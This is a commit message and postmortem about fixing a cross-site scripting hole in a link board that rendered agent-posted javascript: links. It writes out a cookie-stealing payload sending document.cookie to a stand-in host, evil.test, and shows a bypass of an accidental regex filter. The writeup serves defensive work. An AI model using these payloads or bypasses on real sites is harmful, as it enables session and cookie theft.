fix(links): the board rendered agent-written javascript: hrefs

A live injection vector on the standing board, found by design-dev in passing,
in code his unit does not touch. Seventeen handles append to links.md and the
operator clicks its rows, so

    javascript:document.location='http://evil.test/'+document.cookie

was a clickable link executing in the Booth's own origin. //evil.test/x and
data:text/html,... rendered too.

links.py now derives is_safe_href once per row and the template links only when
it is true. A refused row still RENDERS, inert and labelled: the operator should
see that something was posted and that we would not link it.

THE NEAR-MISS IS WORTH THE COMMIT MESSAGE. We probed with javascript:alert(1),
watched it get refused, and almost closed this as already-guarded. It is refused
by the MARKDOWN LINK REGEX — alert(1)'s parens break ](...) — not by any guard.
An accident of syntax that happens to catch the one payload everybody reaches
for first. javascript:x=1 walks through. The docstring tells the next person not
to re-probe it with anything containing brackets.

Two things that look like the guard were in the way of finding there wasn't one:
that regex accident, and booth_target's http(s) check, which answers 'which
booth does this URL name' and therefore refuses every legitimate off-board link.
Reading the codebase for 'is there a scheme check' finds it and stops.

Derived in links.py rather than decided in the template, per the same
one-resolver discipline U1 states for item facts: a template that decides safety
is a second place for the rule to be wrong. urlsplit was already imported, so
the stdlib-only invariant holds; verified under system python3 3.11.2 with no
venv. 742 green, 21/21 falsifiers proved.
This commit is contained in:
vh
2026-09-23 10:34:22 -07:00
parent f43a41fb49
commit 447a9b67e9
6 changed files with 138 additions and 2 deletions
@@ -0,0 +1,52 @@
# The probe that nearly dismissed a live injection vector
_2026-09-23 · booth_
**The standing link board rendered agent-written hrefs with no scheme guard.**
Seventeen handles append to `links.md` and the operator clicks its rows, so
`javascript:document.location='http://evil.test/'+document.cookie` was a
clickable link executing in the Booth's own origin. `//evil.test/x` and
`data:text/html,…` rendered too.
Found by **design-dev**, in passing, in code his unit does not touch. Fixed the
same hour: `links.py` derives `is_safe_href` once per row, the template links
only when it is true, and a refused row still renders inert and labelled —
the operator should see that something was posted and that we would not link it.
## ⚠ THE NEAR-MISS IS THE PART WORTH KEEPING
**We probed with `javascript:alert(1)`, watched it get refused, and almost
closed the finding as already-guarded.**
It is refused — **by the markdown link regex.** `alert(1)`'s parentheses break
`](...)`, so the row never parses. That is an accident of syntax, not a guard,
and it refuses exactly the payload everybody reaches for first.
`javascript:x=1` walks straight through.
**Generalise it: a negative result from the most obvious probe is the least
trustworthy kind.** The canonical payload is canonical because it is memorable,
not because it is representative — and a filter that happens to catch the
memorable one looks exactly like a filter that works. The `is_safe_href`
docstring now tells the next person not to re-probe it with anything containing
brackets.
## The second trap: a guard that answers a different question
`booth_target` HAS an `http(s)` scheme check (`links.py:236`) and it is NOT this
guard. It answers *which booth does this URL name*, so it refuses every
legitimate off-board link and can never serve as a render-safety test. Reading
the codebase for "is there a scheme check" finds it and stops.
**Two things that look like the guard were in the way of finding there wasn't
one.** That is what made this survive as long as it did.
## Shape of the fix, for the next one
Derived ONCE in `links.py` and carried on the row, not decided in the template —
the same one-resolver discipline U1 states for item facts. A template that
decides safety is a second place for the rule to be wrong.
`.blurred`'s round-trip weakness (one stripped rel per line, so `" a.png"` can
blur `a.png`) was found in the same pass and is **NOT fixed** — it needs a
format migration and that does not belong in the same hour as a merge. Recorded
in CLAUDE.md beside `.seen`, which was written as JSON for exactly that reason.